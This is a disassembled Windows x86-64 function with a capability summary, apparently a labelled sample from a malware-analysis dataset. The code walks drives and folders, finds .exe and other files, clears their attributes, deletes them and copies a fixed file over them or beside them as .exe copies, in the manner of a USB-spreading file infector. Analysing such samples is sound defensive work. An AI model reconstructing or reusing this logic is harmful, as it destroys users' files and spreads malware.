Function at 0x401ecc
Capabilities:
Copy file
Delete file
Enumerate files on windows
Set file attributes

Disassembly:
push rbp
push rdi
sub rsp, 0x3a8
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x318], 0x19
call sym.ktpre__
jmp 0x4026f9
mov qword [0x00436048], 0
jmp 0x4026db
call sym.pop1__
mov rdx, rax
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.strcpy
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.strlen
mov dword [rbp + 0x314], eax
cmp dword [rbp + 0x314], 2
jne 0x401f3c
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.ghiautorun_char_
lea rax, [rbp - 0x60]
lea rdx, [0x00436440]
mov rcx, rax
call sym.stricmp
test eax, eax
sete al
test al, al
je 0x401f5d
jmp 0x4026db
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0xb0]
mov rcx, rax
call sym.strcpy
lea rax, [rbp + 0xb0]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0xb0]
add rax, rdx
mov dword [rax], 0x652e2a5c
mov word [rax + 4], 0x6578
mov byte [rax + 6], 0
call sym.thoatusb__
test eax, eax
setne al
test al, al
je 0x401fcb
mov ecx, 0x1388
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rdx, [rbp + 0x1c0]
lea rax, [rbp + 0xb0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileA]
call rax
mov qword [rbp + 0x308], rax
cmp qword [rbp + 0x308], 0xffffffffffffffff
je 0x402193
mov edx, dword [rbp + 0x1e0]
mov eax, dword [0x00436684]
cmp edx, eax
je 0x4020a7
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0xb0]
mov rcx, rax
call sym.strcpy
lea rax, [rbp + 0xb0]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0xb0]
add rax, rdx
mov word [rax], 0x5c
lea rax, [rbp + 0x1c0]
lea rdx, [rax + 0x2c]
lea rax, [rbp + 0xb0]
mov rcx, rax
call sym.strcat
lea rax, [rbp + 0xb0]
mov edx, pe_nt_image_headers64
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call rax
lea rax, [rbp + 0xb0]
mov r8d, 0
mov rdx, rax
lea rcx, [0x00436080]
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
jmp 0x402159
mov edx, dword [rbp + 0x1e0]
mov eax, dword [0x00436684]
cmp edx, eax
je 0x402159
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0xb0]
mov rcx, rax
call sym.strcpy
lea rax, [rbp + 0xb0]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0xb0]
add rax, rdx
mov word [rax], 0x5c
lea rax, [rbp + 0x1c0]
lea rdx, [rax + 0x2c]
lea rax, [rbp + 0xb0]
mov rcx, rax
call sym.strcat
lea rax, [rbp + 0xb0]
mov edx, pe_nt_image_headers64
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call rax
lea rax, [rbp + 0xb0]
mov r8d, 0
mov rdx, rax
lea rcx, [0x00436080]
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
lea rdx, [rbp + 0x1c0]
mov rax, qword [rbp + 0x308]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindNextFileA]
call rax
test eax, eax
setne al
test al, al
jne 0x4020ac
mov rax, qword [rbp + 0x308]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov dword [rbp + 0x31c], 0
jmp 0x4024e3
call sym.thoatusb__
test eax, eax
setne al
test al, al
je 0x4021be
mov ecx, 0x1388
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0xb0]
mov rcx, rax
call sym.strcpy
lea rax, [rbp + 0xb0]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0xb0]
add rax, rdx
mov dword [rax], 0x2e2a5c
lea rax, [rbp + 0xb0]
mov rcx, rax
call sym.strlen
mov dword [rbp + 0x314], eax
mov edx, dword [rbp + 0x31c]
mov eax, edx
add eax, eax
add eax, edx
movsxd rdx, eax
lea rax, [0x00436580]
add rdx, rax
lea rax, [rbp + 0xb0]
mov r8d, 3
mov rcx, rax
call sym.strncat
mov eax, dword [rbp + 0x314]
add eax, 3
cdqe
mov byte [rbp + rax + 0xb0], 0
lea rdx, [rbp + 0x1c0]
lea rax, [rbp + 0xb0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileA]
call rax
mov qword [rbp + 0x308], rax
cmp qword [rbp + 0x308], 0xffffffffffffffff
je 0x4024dc
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0xb0]
mov rcx, rax
call sym.strcpy
lea rax, [rbp + 0xb0]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0xb0]
add rax, rdx
mov word [rax], 0x5c
lea rax, [rbp + 0x1c0]
lea rdx, [rax + 0x2c]
lea rax, [rbp + 0xb0]
mov rcx, rax
call sym.strcat
lea rax, [rbp + 0xb0]
mov edx, pe_nt_image_headers64
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call rax
lea rax, [rbp + 0xb0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
lea rax, [rbp + 0xb0]
mov rcx, rax
call sym.strlen
mov dword [rbp + 0x314], eax
mov eax, dword [rbp + 0x314]
sub eax, 3
cdqe
mov byte [rbp + rax + 0xb0], 0
lea rax, [rbp + 0xb0]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0xb0]
add rax, rdx
mov dword [rax], 0x657865
lea rax, [rbp + 0xb0]
mov r8d, 1
mov rdx, rax
lea rcx, [0x00436080]
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
jmp 0x4024a2
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0xb0]
mov rcx, rax
call sym.strcpy
lea rax, [rbp + 0xb0]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0xb0]
add rax, rdx
mov word [rax], 0x5c
lea rax, [rbp + 0x1c0]
lea rdx, [rax + 0x2c]
lea rax, [rbp + 0xb0]
mov rcx, rax
call sym.strcat
lea rax, [rbp + 0xb0]
mov edx, pe_nt_image_headers64
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call rax
lea rax, [rbp + 0xb0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
lea rax, [rbp + 0xb0]
mov rcx, rax
call sym.strlen
mov dword [rbp + 0x314], eax
mov eax, dword [rbp + 0x314]
sub eax, 3
cdqe
mov byte [rbp + rax + 0xb0], 0
lea rax, [rbp + 0xb0]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0xb0]
add rax, rdx
mov dword [rax], 0x657865
lea rax, [rbp + 0xb0]
mov r8d, 1
mov rdx, rax
lea rcx, [0x00436080]
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
lea rdx, [rbp + 0x1c0]
mov rax, qword [rbp + 0x308]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindNextFileA]
call rax
test eax, eax
setne al
test al, al
jne 0x402399
mov rax, qword [rbp + 0x308]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
add dword [rbp + 0x31c], 1
mov eax, dword [rbp + 0x31c]
cmp eax, dword [rbp + 0x318]
jl 0x4021a2
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0xb0]
mov rcx, rax
call sym.strcpy
lea rax, [rbp + 0xb0]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0xb0]
add rax, rdx
mov dword [rax], 0x2a2e2a5c
mov byte [rax + 4], 0
call sym.thoatusb__
test eax, eax
setne al
test al, al
je 0x40255d
mov ecx, 0x1388
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rdx, [rbp + 0x1c0]
lea rax, [rbp + 0xb0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileA]
call rax
mov qword [rbp + 0x308], rax
cmp qword [rbp + 0x308], 0xffffffffffffffff
je 0x4026db
mov eax, dword [rbp + 0x1c0]
and eax, 0x10
test eax, eax
je 0x402614
movzx eax, byte [rbp + 0x1ec]
cmp al, 0x2e
je 0x402614
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0xb0]
mov rcx, rax
call sym.strcpy
lea rax, [rbp + 0xb0]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0xb0]
add rax, rdx
mov word [rax], 0x5c
lea rax, [rbp + 0x1c0]
lea rdx, [rax + 0x2c]
lea rax, [rbp + 0xb0]
mov rcx, rax
call sym.strcat
lea rax, [rbp + 0xb0]
mov rcx, rax
call sym.push2_char_
jmp 0x4026a1
mov eax, dword [rbp + 0x1c0]
and eax, 0x10
test eax, eax
je 0x4026a1
movzx eax, byte [rbp + 0x1ec]
cmp al, 0x2e
je 0x4026a1
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0xb0]
mov rcx, rax
call sym.strcpy
lea rax, [rbp + 0xb0]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0xb0]
add rax, rdx
mov word [rax], 0x5c
lea rax, [rbp + 0x1c0]
lea rdx, [rax + 0x2c]
lea rax, [rbp + 0xb0]
mov rcx, rax
call sym.strcat
lea rax, [rbp + 0xb0]
mov rcx, rax
call sym.push2_char_
lea rdx, [rbp + 0x1c0]
mov rax, qword [rbp + 0x308]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindNextFileA]
call rax
test eax, eax
setne al
test al, al
jne 0x402619
mov rax, qword [rbp + 0x308]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [0x00436040]
test rax, rax
jne 0x401f01
mov rax, qword [0x00436048]
mov qword [0x00436040], rax
mov rax, qword [0x00436040]
test rax, rax
jne 0x401ef1
add rsp, 0x3a8
pop rdi
pop rbp
ret